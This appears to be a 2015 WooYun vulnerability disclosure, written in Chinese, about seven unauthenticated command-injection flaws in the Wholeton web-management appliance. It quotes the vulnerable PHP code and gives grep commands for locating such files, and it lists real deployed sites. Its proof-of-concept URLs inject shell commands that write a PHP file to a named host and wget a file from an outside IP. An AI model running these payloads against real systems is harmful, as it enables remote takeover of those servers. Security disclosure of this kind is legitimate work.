当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0103774

漏洞标题:惠尔顿上网行为管理系统命令执行七处(无需登录)

相关厂商:惠尔顿

漏洞作者: xfkxfk

提交时间:2015-03-26 18:12

修复时间:2015-06-29 11:08

公开时间:2015-06-29 11:08

漏洞类型:命令执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-26: 细节已通知厂商并且等待厂商处理中
2015-03-31: 厂商已经确认,细节仅向厂商公开
2015-04-03: 细节向第三方安全合作伙伴开放
2015-05-25: 细节向核心白帽子及相关领域专家公开
2015-06-04: 细节向普通白帽子公开
2015-06-14: 细节向实习白帽子公开
2015-06-29: 细节向公众公开

简要描述:

惠尔顿上网行为管理系统命令执行七处,都是无需登录的,直接GetShell。
附上同一类漏洞快速定位的小技巧,再也不用一个一个审计了。

详细说明:

官网经典案例:http://www.wholeton.com/Anli.php
外网部分实际案例:

1.https://test.bescar.com
2.https://angelic.com.cn/
3.http://222.223.56.116
4.https://222.92.15.100
5.http://111.206.133.4/
6.http://mail.hualiu.cc/


首先代码审计估计大家都有自己的辅助工具
这里介绍一下自己的方法吧。
首先拿到源码,使用seay牛的审计工具,从系统入口进入,看看全局有什么设置
比如全局过滤,伪全局机制,全局判断登录验证等等
知道了系统的全局过滤处理及参数值传输过程之后就好办
下面以查找全局越权+命令执行=无需登陆命令执行漏洞为例
首先惠尔顿上网行为管理系统是需要登录才能操作的
通过度系统源码知道了每个文件的开头:

include_once "$RootDir/include/gblinclude.php";


这一句就是验证登录状态的
如果没有这一句就导致越权操作了,那么我们先来找出越权的文件
以下我们在/base目录下进行:

find -name '*.php' | xargs grep -L -e 'gblinclude' > no_gblinclude.txt


这样可以找出/base目录下全部的越权操作文件了
然后我们在从no_gblinclude.txt中找出命令执行的文件:

less no_gblinclude.txt | xargs grep -l 'exec(' | wc -l
找出exec函数可能造成的命令执行
less no_gblinclude.txt | xargs grep -l 'system(' | wc -l
找出system函数可能造成的命令执行
less no_gblinclude.txt | xargs grep -l 'shell_exec(' | wc -l
找出shell_exec函数可能造成的命令执行


3.png


这个时候就把范围缩得很小了,剩下的自己写个脚本跑一下,或者自己手工一个一个看一下,也很快就能搞定那些无需登录的命令执行漏洞了
我们从上面那些里面找出能直接利用的如下(除去前面已发的):

base/user/offLine.php
base/vpn/uf.php
base/vpn/netgatedel.php
base/vpn/rdpdel.php
base/vpn/userdel.php
base/networking/ipbindmac_gateway.php
base/message/ajaxGoAuth.php


加上之前已经提交的这里准确率已经达到40%左右了,当然还可以仔细过滤
第一处base/user/offLine.php

<?php 
$thisfile = basename($_SERVER['PHP_SELF']);
$RootDir = $_SERVER["DOCUMENT_ROOT"].'/base/';
include_once "$RootDir/include/database.php";
global $gblDBConnect;
$id = "\"".$_REQUEST['id']."\"";
$sql_login ="select * from tb_user_login where Id=".$id ;
$data_login= $gblDBConnect->getOne($sql_login);
$sql_del = "delete from tb_user_login where Id=".$id ." and LoginIP='".$data_login->LoginIP."'";
try
{
$dataList_id = $gblDBConnect->execute($sql_del);
chdir("/usr/local/WholetonTM/triton/bin");
exec("./TritonIPCTools -u ".$_REQUEST['user']);
echo "<script> window.location.href='onLineUser.php';</script>";
}
catch(PDOException $ex)
{
LogError("SQL ___ ".$sql_del);
}
?>


参数user直接进入了exec中了
第二处base/vpn/uf.php,这里存在三处漏洞

<?php
$cmd =$_REQUEST["cmd"];
if($cmd == "add")
{
$userid =$_REQUEST["user"];
$pswd =$_REQUEST["pswd"];
$loginuser = $_REQUEST["winuser"];
$loginpswd = $_REQUEST["winpswd"];
$netcontrol="0";
$mobile="1";
$ikey="0";
$userpin = '';
$keypswd = '';
$authenticator = '';
$sa = '';
$caflag = '';
system("/usr/local/WholetonTM/socks5/ConfigServer add user $userid $pswd $mobile '$authenticator' $ikey '$userpin' '$keypswd' $loginuser $loginpswd '$sa' $netcontrol '$caflag'");
//exec("./ConfigServer add user $userid $pswd $mobile $authenticator $ikey $userpin $keypswd $loginuser $loginpswd $sa $netcontrol $caflag",$aa);
echo "/usr/local/WholetonTM/socks5/ConfigServer add user $userid $pswd $mobile '$authenticator' $ikey '$userpin' '$keypswd' $loginuser $loginpswd '$sa' $netcontrol '$caflag'";

sleep(1);
//set access after add
exec("/usr/webmin/ipsec/ConfigServer query app",$resultallApps);
// print_r($resultallApps);
for($i = 0;$i < count($resultallApps);$i++)
{
$resallApps=explode("\t",$resultallApps[$i]);
if($resallApps[0])
{
$resultuserIn = array();
exec("/usr/webmin/ipsec/ConfigServer query access $resallApps[0]",$resultuserIn);
$allaccess1=explode("\t",$resultuserIn[0]);
$userIn[]=$userid;
for($j = 0;$j < count($allaccess1);$j++)
{
$userIn[]=$allaccess1[$j];
}
$temp = implode(" ",$userIn);
exec("/usr/webmin/ipsec/ConfigServer update access $resallApps[0] \" $temp \"");
unset($userIn);
$temp="";
$allaccess1="";
}
$resallApps="";
}
}
if($cmd == "del")
{
$userName =$_REQUEST["user"];
exec("/usr/webmin/ipsec/ConfigServer del user $userName");
}
if($cmd == "mod")
{
$userid =$_REQUEST["user"];
$pswd =$_REQUEST["pswd"];
$loginuser = $_REQUEST["winuser"];
$loginpswd = $_REQUEST["winpswd"];
$netcontrol="0";
$mobile="1";
$ikey="0";
$userpin = "\"\"";
$keypswd = "\"\"";
$authenticator = "\"\"";
$sa = "\"\"";
$caflag = " \"\" ";
exec("/usr/webmin/ipsec/ConfigServer update user $userid $pswd $mobile $authenticator $ikey $userpin $keypswd $loginuser $loginpswd $sa $netcontrol $caflag");
}
exec("/etc/socks5/Reset");
?>


这里当参数cmd为add,del,mod时均存在命令执行漏洞
第三处base/vpn/netgatedel.php

<?php
$path="/etc/socks5/config.xml";
$siteid =$_REQUEST["siteid"];
chdir("/usr/local/WholetonTM/socks5/");
system("./ConfigServer del gateway $siteid");
print(" <script> location.href='netgate.php'; </script> ");
?>


这里参数siteid直接进入system中
第四处base/vpn/rdpdel.php

<?php
$appName =$_REQUEST["appName"];
system("/usr/local/WholetonTM/socks5/ConfigServer del app $appName");
print(" <script> location.href='rdp.php'; </script> ");
?>


这里参数appName 直接进入system函数中
第五处base/vpn/userdel.php

<?php
$userName =$_REQUEST["userName"];
system("/usr/local/WholetonTM/socks5/ConfigServer del user $userName");
print(" <script> location.href='usermanage.php'; </script> ");
?>


这里参数userName直接进入system中
第六处base/networking/ipbindmac_gateway.php

<?php
include("filename.php");
//?急?蝵
$network = $_REQUEST['gateway'];
$ip_mask = explode("/",$network);
$gateway = $ip_mask[0]."/".computer($ip_mask[1]);
exec("/usr/local/WholetonTM/sbin/nbtscan -m ".$gateway,$info);
$gateway_info = array();
for($i = 0;$i<count($info);$i++){
$info1 = explode(" ",$info[$i]);
$info2 = array();
$info3 = array();
for($ii =0;$ii<count($info1);$ii++ ){
if($info1[$ii]!=""){
$info2[] = $info1[$ii];
}
}
for($n = 0;$n<count($info2);$n++){
$computer = explode("\\",$info2[1]);
$info3 = array($info2[0],$info2[2]);
}
$gateway_info [] = $info3;
}
echo json_encode($gateway_info);
?>


参数gateway通过处理后直接进入exec中
第七处base/message/ajaxGoAuth.php

<?php 
$ip = $_REQUEST['ip'];
$type = $_REQUEST['type'];
switch ($type) {
case 'sms':
$parameter = "-s ";
break;
case 'welcome':
$parameter = "-w ";
break;
}
exec(str_replace(";", "", "/usr/local/WholetonTM/triton/bin/TritonIPCTools ".$parameter.$ip));
?>


这里参数ip进入exec中,虽然过滤了分号,但是不影响漏洞利用嘛

漏洞证明:

这里以第一处和第七处进行演示,其他的原来都一样,直接拼接命令,即可执行了
第一处证明:

https://test.bescar.com/base/user/offLine.php?id=1&user=111111;echo '<?php phpinfo();?>'>/usr/local/WholetonTM/htdocs/111111.php


这时会在根目录下生成111111.php文件

1.png


第二处证明:
由于这里过滤的;,分号,不能直接写php代码到文件,当然方法很多了

https://test.bescar.com/base/message/ajaxGoAuth.php?type=sms&ip=222222|cat /usr/local/WholetonTM/htdocs/111111.php>/usr/local/WholetonTM/htdocs/222222.php
或者
https://test.bescar.com/base/message/ajaxGoAuth.php?type=sms&ip=222222|wget http://222.223.56.116/222222.php


这时会在根目录下生成222222.php文件

2.png

修复方案:

重写吧。。。

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-03-31 11:07

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式(或以往建立的处置渠道)向软件生产厂商通报。

最新状态:

暂无